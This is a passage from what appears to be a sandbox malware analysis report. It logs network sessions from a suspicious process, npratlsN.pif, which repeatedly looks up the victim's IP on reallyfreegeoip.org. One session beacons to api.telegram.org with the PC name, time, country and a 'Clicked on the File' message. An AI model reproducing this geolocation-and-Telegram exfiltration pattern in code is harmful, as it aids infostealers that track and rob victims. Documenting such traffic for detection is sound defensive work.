                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153301
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ou1LFTr%2FiOZPc3JZ2TryhE4Rz24H4sergYmrFxZ4w888jBNUdhB9cOX1ODRHnvWt9P3a6APhrtHBBO04fl6m5ciwoTo47ozpKqq5zeU2zwAXzs50OHYYovJNaZ6UU4xDuqngnD4R"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcb9e5e991899-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1537&min_rtt=1527&rtt_var=594&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1810291&cwnd=153&unsent_bytes=0&cid=bc9f7c01c6da5a9b&ts=160&x=0"
                                                                                                                                                        2025-01-14 07:08:32 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        7192.168.2.452752104.21.16.14434544C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:33 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        2025-01-14 07:08:33 UTC853INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:33 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153303
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TfOxtYgnezcUgbXH4mAzasz2Ba05QXUixhoTJu8eciOzjMem1Z6a2nJDsLpFQd5XSP1ZJ8DpiueIWpV%2BYqmczPSeHPNIfbaEyYBNY8VSe8QERJ55kJjKS2mm1%2BdxAftoq9jBpMVT"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcba7bb2d1899-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1565&min_rtt=1556&rtt_var=602&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1789215&cwnd=153&unsent_bytes=0&cid=6b60d9addd2291b7&ts=142&x=0"
                                                                                                                                                        2025-01-14 07:08:33 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        8192.168.2.452755104.21.16.14434544C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:35 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        2025-01-14 07:08:35 UTC861INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:35 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153304
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RDbmNfSNCYTHwcHmbedu%2FaQ8gpZ6C5Z6hSGchvUAdtwtYXOuRjVYT%2BvwqPw769YfqfXePz5vN7Wv6XFL8G79fY%2B4GNA7GcUp19nu%2BLLxRdof3kclIacK4osSKSA6%2BRtB8f%2B6AoOj"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcbb0cea241ba-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1623&min_rtt=1614&rtt_var=624&sent=3&recv=5&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1726788&cwnd=192&unsent_bytes=0&cid=8f4f3ccbf4bfd855&ts=130&x=0"
                                                                                                                                                        2025-01-14 07:08:35 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        9192.168.2.452756104.21.16.14433592C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:35 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        2025-01-14 07:08:35 UTC861INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:35 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153304
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CekCHyxc%2BUJrKdIAye5D%2BIW6a%2B%2BCI1Lhsg6tiBLVK9AtIKXqSYBtJoKSs6p8eWCp3D6l0Sz%2Ba2Pg35iDsg327psQTep%2Bj6AdsnlpRjnjpk79UAqOOXAmcx8ps98UHHATbTDmferL"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcbb2ce6b4388-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1562&min_rtt=1558&rtt_var=593&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1833019&cwnd=221&unsent_bytes=0&cid=226766d19a2513da&ts=167&x=0"
                                                                                                                                                        2025-01-14 07:08:35 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        10192.168.2.452758104.21.16.14433592C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:36 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        2025-01-14 07:08:36 UTC859INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:36 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153305
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZLKkv%2BYJKXWDHZi2ogO9AAe9GA9QMKkDHbhQTZ09PjGFW%2BeW5nnD4oBPwCNeloxlVW3VSAY30YPR5wwCGsG9OSiiA2UEBZnyJE22Xcd8e%2BBEoGy%2FxgUAxf10Bk3oBnkZfIS3iW%2F3"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcbb95b051899-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1599&min_rtt=1589&rtt_var=616&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1746411&cwnd=153&unsent_bytes=0&cid=a78745083be8dabd&ts=126&x=0"
                                                                                                                                                        2025-01-14 07:08:36 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        11192.168.2.452759104.21.16.14434544C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:36 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        2025-01-14 07:08:36 UTC853INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:36 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153305
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jFKWvwC%2FV7QUWWUtHiYUz19uY46Y30XFvMVN3APEjwTyqrl9o4t3lKLVW9zygfkM8o2wr4p6UPxmEkF6VJriG%2B8Ep1NXVcxgGijfwQ7pFA1qsEEDV7MzCtCaAsQIdOlUEHfi6eZx"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcbb9bc114388-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1586&min_rtt=1585&rtt_var=598&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1826141&cwnd=221&unsent_bytes=0&cid=0ff21d2655db6075&ts=132&x=0"
                                                                                                                                                        2025-01-14 07:08:36 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        12192.168.2.452761149.154.167.2204434544C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:37 UTC349OUTGET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:585948%0D%0ADate%20and%20Time:%2014/01/2025%20/%2016:21:19%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20585948%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1
                                                                                                                                                        Host: api.telegram.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        2025-01-14 07:08:37 UTC344INHTTP/1.1 404 Not Found
                                                                                                                                                        Server: nginx/1.18.0
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:37 GMT
                                                                                                                                                        Content-Type: application/json
                                                                                                                                                        Content-Length: 55
                                                                                                                                                        Connection: close
                                                                                                                                                        Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                        Access-Control-Allow-Origin: *
                                                                                                                                                        Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                                        2025-01-14 07:08:37 UTC55INData Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d
                                                                                                                                                        Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        13192.168.2.452762104.21.16.14433592C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:38 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        2025-01-14 07:08:38 UTC855INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:38 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153307
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QbryDQcObVpk%2BUHFJ%2FgnRvYhu8D3ehZBREW7cVN9D2zLYbhhAtWrhcIc4ZarALqDyAWW2tm%2F5z9UsCaBZzJntmdc8cchFSfLlPpkZyYo5AovQRenLQiwVtj6omsJKEijPTSn7rbQ"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcbc24cb98ce0-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1785&min_rtt=1779&rtt_var=680&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1594756&cwnd=215&unsent_bytes=0&cid=f7fb59c5a2ca6068&ts=157&x=0"
                                                                                                                                                        2025-01-14 07:08:38 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        14192.168.2.452764104.21.16.14433592C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:39 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        2025-01-14 07:08:39 UTC859INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:39 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153308
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KBwwoMDsqKfZhldyMfGQcUfjaCAQwBfCj3sVCINL2BqYnlFJV9YYPCuCM7%2F8xFSI5Po%2F238D%2BaQQYmc5ds7BxFF7ZCQC03C9wEN01KCokA%2FxT%2BfTkUFQm7VsbDY6nG9tKFfTSuBp"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcbcc2b411899-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1592&min_rtt=1575&rtt_var=603&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1853968&cwnd=153&unsent_bytes=0&cid=501704d3efc4f23b&ts=226&x=0"
                                                                                                                                                        2025-01-14 07:08:39 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        15192.168.2.452766104.21.16.14433592C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:41 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        2025-01-14 07:08:41 UTC853INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:41 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153310
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PWDOdTj7W6kHdBw43mT2yNOgZ2DvwT9JjJtnCaFtreOqS7e5hBQJDbF%2BpjX9XQbddMqeHbGCNyp4rGwLEQGcIPPbjKSNdkx9M2BRBj4kkKTAOqOiIoX8z0Z473dSC12d%2BkL5sKfg"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcbd798371899-EWR
